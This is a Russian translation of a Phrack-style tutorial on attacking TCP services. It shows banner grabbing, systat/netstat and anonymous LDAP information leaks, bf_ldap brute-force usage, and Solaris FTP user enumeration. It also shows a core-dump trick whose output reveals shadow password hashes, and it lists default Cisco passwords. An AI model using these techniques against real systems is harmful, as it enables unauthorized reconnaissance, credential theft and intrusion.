How To Hack

Данная статья является вольным переводом статьи из Unofficial PHRACK с незначительной отсебятиной из собственного опыта. Я старался точно переводить описания технических моментов и интересных значимых мест. На мой взгляд, эта статья интересна тем, что учит использовать собственную голову и знания, а не скрипты, написанные другим челом. Учит хаку ради знания, а не хаку ради хака (прошу прощения за тавтологию).


Некоторые части оригинальной статьи пропущены, так как некоторые моменты я просто иногда не до конца понимаю и не берусь их передавать, или они просто не заслуживают особого внимания. Если кто захочет найти "уязвимости" =) в моей статье или почитать оригинал, смотреть тут.


В этом тексте мы уделим внимание технической реализации ТСР сервисов. Общие сервисы (включая FTP, SMTP, HTTP и POP3) доступны как текстовые интерпретаторы сетевых сервисов, и могут быть доступны путем написания простейших скриптов или телнета. Сервисы же, которые не используют текстовые режимы (такие как NetBIOS, SQL и LDAP), могут быть доступны путем написания более сложных комплексных скриптов. Вместо полного разбора каждого отдельно взятого протокола и сетевого сервиса на каждом порту по порядку, мы сгруппируем сервисы по ролям, что поможет нам выделить общие уязвимости, присущие разным типам протоколов.


Итак, ТСР сервисы мы сортируем следующим образом:


1. Внутренние сервисы.


2.Удаленно-информационные сервисы.


3. Удаленно-технические сервисы:
Microsoft Windows Networking Services
VPN & Remote Network Access Services
Network Proxy Services


4. Почтовые и новостные (news) сервисы:
Web Services
Database Services
Unix RPC Services
Print Services



1. Итак, начнем с внутренних сервисов.


Некоторые операционные системы, такие как Cisco IOS, Windows2000, Linux, зачастую работают с запущенными внутренними сервисами. Эти внутренние сервисы испокон веку использовались для диагностики сети и проверки соединений. Внутренние сервисы распределяются следующим образом (так же стоит отметить, что эти же сервисы висят на UDP портах):


Запущенный сервис  порт/протокол
tcpmux  1/tcp
echo  7/tcp
discard  9/tcp
daytime  13/tcp
qotd  17/tcp
chargen  19/tcp
time  37/tcp



Сервисы echo, discard, qotd и chargen дают некоторые сведения о системной конфигурации машины, на которой они крутятся. Но никакого прямого доступа к системе через эти сервисы мы получить не можем. Хотя, DOS-атака может быть проведена через крутящиеся демоны echo и chargen.



Атака "Отказ в обслуживании" через Echo и Chargen.


Если IP хоста цели установлено, то spoofed ТСР сессия может быть установлена. Таким образом, атакованный хост начинает коннектиться сам к себе с 7 порта (echo) на порт 19 (chargen), используя ТСР или UDP протоколы. Сервис chargen генерит бесконечный поток ASCII символов и посылает их echo сервису, который в свою очередь "эхоет" их назад. Производительность системы с нешироким каналом (например, начального уровня роутеры) можно существенно снизить, используя данный метод атаки.



Сервис TCP multiplexer (коммутатор) (tcpmux, запущенный на 1 порту), в основном, крутится на IRIX платформах. Этот сервис сам по себе не содержит каких либо известных уязвимостей, но он является указателем на платформу, которая запущена на удаленном хосте. Сервис выполняет функции зеркала портов (portmapper - сервер, который преобразует номера портов в протоколе TCP/IP в номера программ RPC с целью обеспечения вызовов, см. в RFC 1078).



Сервисы daytime и time (работающие на 13 и 17 портах соответственно) могут быть опрошены с целью установления временной зоны на удаленном хосте и его приблизительного местонахождения.


Используем телнет для соединения с daytime сервисом:
#telnet 192.168.0.1 13
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Sat Jan 4 08:16:57 2003
Connection closed by foreign host.



2. Удаленно-информационные сервисы (Remote Information Services).


Юниксоподобные системы (включая Linux, Solaris, FreeBSD и другие варианты) и платформы, такие как Cisco IOS, обычно крутятся с запущенными удаленно-информационными сервисами, которые позволяют определить систему, пользователя и получить информацию о сети. Через эти сервисы можно попытаться получить список пользователей и список доверяемых подсетей и хостов, а в некоторых случаях получить прямой доступ.


Список удаленно-информационных сервисов:
Запущенный сервис  порт/протокол
systat  11/tcp
netstat  15/tcp
domain  53/tcp
finger  79/tcp
auth  113/tcp
ldap  389/tcp



Systat и Netstat.


Сервисы systat и netstat являются особенно интересными. Подключившись телнетом к этим сервисам, мы можем узнать системную информацию и установить список сетевых подключений. Если мы заглянем в файл /etc/inetd.conf на машине с запущенными systat'om и netstat'om, то можем увидеть следующее:
systat stream tcp nowait root /usr/bin/ps ps -ef
netstat stream tcp nowait root /usr/bin/netstat netstat -a


Таким образом, эти команды как бы висят на 11 и 15 портах соответственно. Ниже мы рассмотрим пример подключения к этим портам, используя телнет. Системная информация, полученная при подключении к systat, запущенном на Linux'e:
# telnet 192.168.0.1 11
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan03 ? 00:00:05 init [2]
root 2 1 0 Jan03 ? 00:00:00 [keventd]
root 3 1 0 Jan03 ? 00:00:00
[ksoftirqd_CPU0]
root 4 1 0 Jan03 ? 00:00:00 [kswapd]
root 5 1 0 Jan03 ? 00:00:00 [bdflush]
root 6 1 0 Jan03 ? 00:00:00 [kupdated]
root 10 1 0 Jan03 ? 00:00:00 [khubd]
root 492 1 0 Jan03 ? 00:00:00 /sbin/syslogd
root 495 1 0 Jan03 ? 00:00:00 /sbin/klogd
root 503 1 0 Jan03 ? 00:00:00 /usr/sbin/dhcpd –q
root 512 1 0 Jan03 ? 00:00:00 /usr/sbin/inetd
root 520 1 0 Jan03 ? 00:00:00 /usr/sbin/sshd
daemon 523 1 0 Jan03 ? 00:00:00 /usr/sbin/atd
root 526 1 0 Jan03 ? 00:00:00 /usr/sbin/cron
root 531 1 0 Jan03 tty1 00:00:00 –bash
root 532 1 0 Jan03 tty2 00:00:00 /sbin/getty 38400 tty2
root 533 1 0 Jan03 tty3 00:00:00 /sbin/getty 38400 tty3
root 534 1 0 Jan03 tty4 00:00:00 /sbin/getty 38400 tty4
root 535 1 0 Jan03 tty5 00:00:00 /sbin/getty 38400 tty5
root 536 1 0 Jan03 tty6 00:00:00 /sbin/getty 38400 tty6
root 887 1 0 Jan03 ? 00:00:03 /usr/sbin/named
root 913 1 0 Jan03 ? 00:00:00 [eth0]
root 918 1 0 Jan03 ? 00:00:00 [eth1]
root 1985 520 0 08:05 ? 00:00:00 /usr/sbin/sshd
root 1987 1985 0 08:05 pts/0 00:00:00 –bash
root 2066 1987 0 10:44 pts/0 00:00:00 ps –ef



Теперь к netstat'y:
# telnet 192.168.0.1 15
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:discard *:* LISTEN
tcp 0 0 *:daytime *:* LISTEN
tcp 0 0 no-dns-yet.demon:domain *:* LISTEN
tcp 0 0 192.168.0.1:domain *:* LISTEN
tcp 0 0 mail:domain *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 52 no-dns-yet.demon.co:ssh pc-62-20-40-1- az.b:3526 ESTABLISHED
udp 0 0 *:32769 *:*
udp 0 0 *:discard *:*
udp 0 0 no-dns-yet.demon:domain *:*
udp 0 0 192.168.0.1:domain *:*
udp 0 0 mail:domain *:*
udp 0 0 *:bootps *:*
raw 0 0 *:icmp *:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 5 [ ] DGRAM 456 /dev/log
unix 2 [ ACC ] STREAM LISTENING 1125 /var/run/ndc
unix 2 [ ] DGRAM 1123
unix 2 [ ] DGRAM 516
unix 2 [ ] DGRAM 489


Полученная подробная информация позволяет заглянуть в системное окружение атакуемой машины:


- увидеть процессы запущенные на целевой машине (имена пользователей владельцев процессов позволят нам позже осуществить переборку паролей (brute force password) для доступа к сетевым компонентам. Некоторые детали об обрабатываемых запросах (таких как SQL запрос, запущенный из командной строки, содержащий в себе как адрес самого SQL сервера, так и подробности о пароле);


- увидеть подробности о текущих сетевых подключениях к внутренним и доверяемым хостам.



Удаленный сервис LDAP. The Lightweight Directory Access Protocol (LDAP).


LDAP сервис обычно крутится на Windows 2000 Active Directory, Exchange и Lotus Domino серверах. Используется он для предоставления информации о пользователе. LDAP хорошо адаптируется и широко используется Apache, MS Exchange, Outlook, Netscape Communicator и т.д. LDAP может быть опрошен анонимно (хотя, это зависит от конфигурации сервера, на котором он крутится) с помощью утилиты ldp.exe, входящей в состав Miscrosoft Windows 2000 Support Tools Kit. Существует аналог ldp.exe для Юниксоидов - ldapsearch (брать отсюда: www.openldap.org). Посмотрим ее в действии на анонимном LDAP'е (на атакуемой машие крутится Lotus Domino сервер под Win 2000):
# ldapsearch -h 192.168.0.65
< non-relevant results removed for aesthetic purposes >
# Nick Baskett, Trustmatta
dn: CN=Nick Baskett,O=Trustmatta
mail: nick.baskett@trustmatta.com
givenname: Nick
sn: Baskett
cn: Nick Baskett, nick
uid: nick
maildomain: trustmatta

# Andrew Done, Trustmatta2C andrew
dn: CN=Andrew Done,O=Trustmatta, andrew
mail: andrew.done@trustmatta.com
givenname: Andrew
sn: Done
uid: andrew
maildomain: trustmatta

# James Woodcock, Trustmatta2C james
dn: CN=James Woodcock,O=Trustmatta, james
mail: james.woodcock@trustmatta.com
givenname: James
sn: Woodcock
uid: james
maildomain: trustmatta

# Jim Chalmers, Trustmatta2C jim
dn: CN=Jim Chalmers,O=Trustmatta, jim
mail: jim.chalmers@trustmatta.com
givenname: Jim
sn: Chalmers
uid: Jim
maildomain: trustmatta


Анонимный доступ к LDAP'у сам по себе имеет ограничения, поэтому если LDAP крутится под WIN 2000, то мы можем произвести брутфорс атаку по списку валидных пользователей на этом сервере (полученных от LDAP), перебирая пароли через NetBios, SNMP или др. сервисы. Таким образом, получив пароль хотя бы от одного пользователя со слабым паролем, мы получим доступ и к LDAP'у. Для юниксоподобных систем существует тулза "bf_ldap", которая позволяет осуществлять перебор. Взять ее можно здесь. А вот как тулза выглядит в работе:
# bf_ldap
Eliel Sardanons eliel.sardanons@philips.edu.ar
Usage: bf_ldap
parameters:
-s server
-d domain name
-u|-U username | users list file name
-L|-l passwords list | length of passwords to generate
optional:
-p port (default 389)
-v (verbose mode)
-P Ldap user path (default ,CN=Users,)



3. Удаленно-обслуживающие сервисы.


Эти сервисы используются админами для прямого управления удаленными хостами. Удаленно-обслуживающие сервисы могут быть подвержены трем видам атак:


- Атака информационной утечки, когда информация о пользователе и системе может быть получена;


- Манипуляции процессами, в том числе использование переполнения буффера и посылка шеллкодов;


- Брутфорс атака для получения пользовательского аккаунта на удаленной системе.


Для примера возьмем какой-нибудь банк, имеющий интернет роутер с запущенным демоном телнета в административных целях. Этот сервис может быть неуязвим против "атаки информационной утечки" или манипуляции с процессами, но атакующий может потратить большое кол-во времени на брутфорс атаку против этого сервиса и в итоге получить доступ к системе. Брутфорс атаки - это серьезная дыра во многих организациях.


Список основных удаленно-обслуживающих сервисов:


сервис  порт/протокол
ftp  21/tcp
ssh  22/tcp
telnet  23/tcp
exec  512/tcp
login  513/tcp
shell  514/tcp
controlit  799/tcp
x11  6000/tcp
citrix-ica  1494/tcp
ms-rdp  3389/tcp
pcanywheredata  5631/tcp
pcanywherestat  5632/tcp
vnc-http  5800/tcp
vnc  5900/tcp
pcanywhere  65301/tcp



FTP.


File Transfer Protocol сервисы используются на серверах для передачи данных. Для корректной работы FTP демону необходимо 2 ТСР порта:


- TCP port 21 (FTP control port), используется для принятия FTP команд;


- TCP port 20 (FTP data port), используется для передачи данных от сервера клиенту.


Когда мы находим сервер с запущенным FTP, первый кусочек информации о системе мы можем получить из баннера этого FTP, осуществив соединение с ним:
# ftp 192.168.0.11
Connected to 192.168.0.11 (192.168.0.11).
220 darkside FTP server ready.
Name (192.168.0.11:root):


Выше мы видим заголовок сервера с крутящейся Solaris 9. Solaris 8 (SunOS 5.8) возвращает немного другой системный заголовок:
# ftp 192.168.0.12
Connected to 192.168.0.12 (192.168.0.12).
220 lackie FTP server (SunOS 5.8) ready.
Name (192.168.0.12:root):


Если баннер был удален или модифицирован, чтобы не дать возможность получить версию запущенного сервиса или детали о запущенной операционке, то мы можем получить информацию, проанализировав ответ на команды quote, help и syst, предварительно залогинившись в системе как анонимный пользователь.
Логинимся на опрашиваемом FTP сервере:
# ftp 192.168.0.250
Connected to 192.168.0.250 (192.168.0.250).
220 ftp.trustmatta.com FTP server ready.
Name (ftp.trustmatta.com:root): ftp
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote help
214-The following commands are recognized (* =>'s unimplemented).
USER PORT STOR MSAM* RNTO NLST MKD CDUP PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU SMNT* STRU MAIL* ALLO CWD STAT XRMD SIZE REIN* MODE MSND* REST XCWD HELP PWD MDTM QUIT RETR MSOM* RNFR LIST NOOP XPWD
214 Direct comments to ftpadmin@ftp.trustmatta.com
ftp> syst
215 UNIX Type: L8 Version: SUNOS



Распространенный список возможных ответов банера FTP серверов:


Sun Solaris 7:
220 hostname FTP server (SunOS 5.7) ready.


Sun SunOS 4.1.x:
220 hostname FTP server (SunOS 4.1) ready.


FreeBSD 3.x:
220 hostname FTP server (Version 6.00) ready.


FreeBSD 4.x:
220 hostname FTP server (Version 6.00LS) ready.


NetBSD 1.5.x:
220 hostname FTP server (NetBSD-ftpd 20010329) ready.


OpenBSD:
220 hostname FTP server (Version 6.5/OpenBSD) ready.


SGI IRIX 6.x:
220 hostname FTP server ready.


IBM AIX 4.x:
220 hostname FTP server (Version 4.1 Tue Sep 8 17:35:59 CDT 1998) ready.


Compaq Tru64:
220 hostname FTP server (Digital UNIX Version 5.60) ready.


HP-UX 11.x:
220 hostname FTP server (Version 1.1.214.6 Wed Feb 9 08:03:34 GMT 2000) ready.


DEC Ultrix 4.1:
220 hostname FTP server (Version 4.1 Sun Mar 25 22:59:11 EST 1990) ready.


Apple MacOS:
220 hostname FTP server (Version 6.00) ready.


Washington University FTP (WU-FTP) 2.4.2 BETA 18:
220 hostname FTP server (Version wu-2.4.2-academ[BETA-18](1) Mon Jan 15 15:02:27 JST 1999) ready.


Washington University FTP (WU-FTP) 2.5.0:
220 hostname FTP server (Version wu-2.5.0(1) Tue Jun 15 12:43:57 MST 1999) ready.



Уязвимость в Solaris FTP.


Следующий glob() баг существует на OS Solaris вплоть до восьмой версии. Осуществляя запрос CWD ~username, мы можем перебирать пользовательские аккаунты на валидность, даже не логинясь на FTP сервере (подробное описание тут). В следующем примере пользователи blah и test не существуют, а пользователь chris валиден:
# telnet 192.168.0.12 21
Trying 192.168.0.12...
Connected to 192.168.0.12.
Escape character is '^]'.
220 lackie FTP server (SunOS 5.8) ready.
CWD ~blah 530
Please login with USER and PASS.
550 Unknown user name after ~
CWD ~test 530
Please login with USER and PASS.
550 Unknown user name after ~
CWD ~chris 530
Please login with USER and PASS.
QUIT
221 Goodbye.
Connection closed by foreign host.



Следующий glob() баг может быть использован в Солярисе из-за переполнения кучи (heap). Локальные пользователи могут использовать этот баг, так как демон FTP Соляриса выпадает в корку (dumps core file). Этот файл содержит зашифрованные пользовательские пароли из /etc/shadow и некоторую другую важную системную информацию (уязвимость найдена в Solaris 8 и ниже):
$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 cookiemonster FTP server (SunOS 5.6) ready.
user chris
331 Password required for chris.
pass blahblah
530 Login incorrect.
CWD ~
530 Please login with USER and PASS.
Connection closed by foreign host.
$ ls -la /core
-rw-r--r-- 1 root root 284304 Apr 16 10:20 /core
$ strings /core | grep ::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
chris:XEC/9QJZ4nSn2:12040::::::
sshd:*LK*:::::::
$



WU-FTPD 2.5.0.


WU-FTPD версии 2.5.0 и более ранние уязвимы для удаленного переполнения стека через MAPPING_CHDIR. Пользователь с правом записи на FTP сервере может создать группу директорий на хосте и использовать CWD, чтобы осуществить переполнение через переменную mapped_path. Существует эксплоит для использования против Red Hat и Debian дистрибутивов. Опубликован TESO team, доступен здесь



SSH.


Версию SSH, который крутится на хосте, мы можем узнать, установив соединение с помощью telnet'а на порт 22:
# telnet 192.168.0.80 22
Trying 192.168.0.80...
Connected to 192.168.0.80.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1

В этом примере мы видим, что на машине крутится OpenSSH 3.5 с патчем 1 уровня, и все это работает по протоколу 2.0. Машины, работащие с SSH по протоколу 1.0, являются редкостью в сети, протокол 2.0 является более секьюрным и предоставляет больше возможностей. Сисадмины, озабоченные своей безопасностью, очень часто модифицируют возвращаемый заголовок SSH демона:
# telnet 192.168.0.80 22
Trying 192.168.0.80...
Connected to 192.168.0.80.
Escape character is '^]'.
SSH-2.0-0.0.0

В этом примере мы можем увидеть, что SSH сервис работает по SSH 2.0 протоколу, но тип и версию сервиса установить нельзя (так как она установлена в 0.0.0). Чтобы мы могли взаимодействовать с SSH и залогиниться в системе, нам необходима клиентская часть SSH. SSH клиенты существуют под большинством никсовых платформ, и OpenSSH (www.openssh.org) - один из популярных пакетов, содержащий как клиентскую, так и серверную часть приложения. Для пользователей Windows существует PuTTY. Представляет собой клиентскую часть SSH сервиса. Брать здесь.



Telnet.


Распространенные ответные заголовки телнета:


Sun Solaris 8:
SunOS 5.8


Sun Solaris 2.6:
SunOS 5.6


Sun Solaris 2.4 and 2.5.1:
UNIX(r) System V Release 4.0 (hostname)


SunOS 4.1.x:
SunOS UNIX (hostname)


FreeBSD:
FreeBSD/i386 (hostname) (ttyp1)


NetBSD:
NetBSD/i386 (hostname) (ttyp1)


OpenBSD:
OpenBSD/i386 (hostname) (ttyp1)


Red Hat Linux 8.0:
Red Hat Linux release 8.0 (Psyche)


Debian Linux 3.0:
Debian GNU/Linux 3.0 / hostname


SGI IRIX 6.x:
IRIX (hostname)


IBM AIX 4.1.x:
AIX Version 4
(C) Copyrights by IBM and by others 1982, 1994.


IBM AIX 4.2.x and 4.3.x:
AIX Version 4
(C) Copyrights by IBM and by others 1982, 1996.


Nokia IPSO:
IPSO (hostname) (ttyp0)


Cisco IOS:
User Access Verification
Password:


Livingstone ComOS:
ComOS - Livingston PortMaster



Уязвимости.


Уязвимость Sun telnet:
Loginex overflow affecting Solaris 6 – 8


BSD Telnet уязвимость:
Bsd overflow


Linux telnet уязвимость:
Netkit telnetd remote


IRIX telnet уязвимость:
Ld-so preload


AIX telnet уязвимость:
Bsd overflow


Телнет Узявимость в Router & Switch:
Ipso - перебор пользователей:
pipex-gw>telnet 192.168.0.254
Trying 192.168.0.254 ... Open
IPSO (checkpointcharlie) (ttyp0)
login: root
Password:
Login incorrect
login: blaaah
Password:
Login incorrect
login: fw1adm
Password:
Password:
Login incorrect
login: fw1adm
Password:
Password:
Login incorrect
Login timed out after 300 seconds
[Connection to 192.168.0.254 closed by foreign host]
pipex-gw>



Дефолтные пароли Cisco:
enable, system, cisco, router, admin, Cisco, !cisco




Автор: Volk , @ , WWW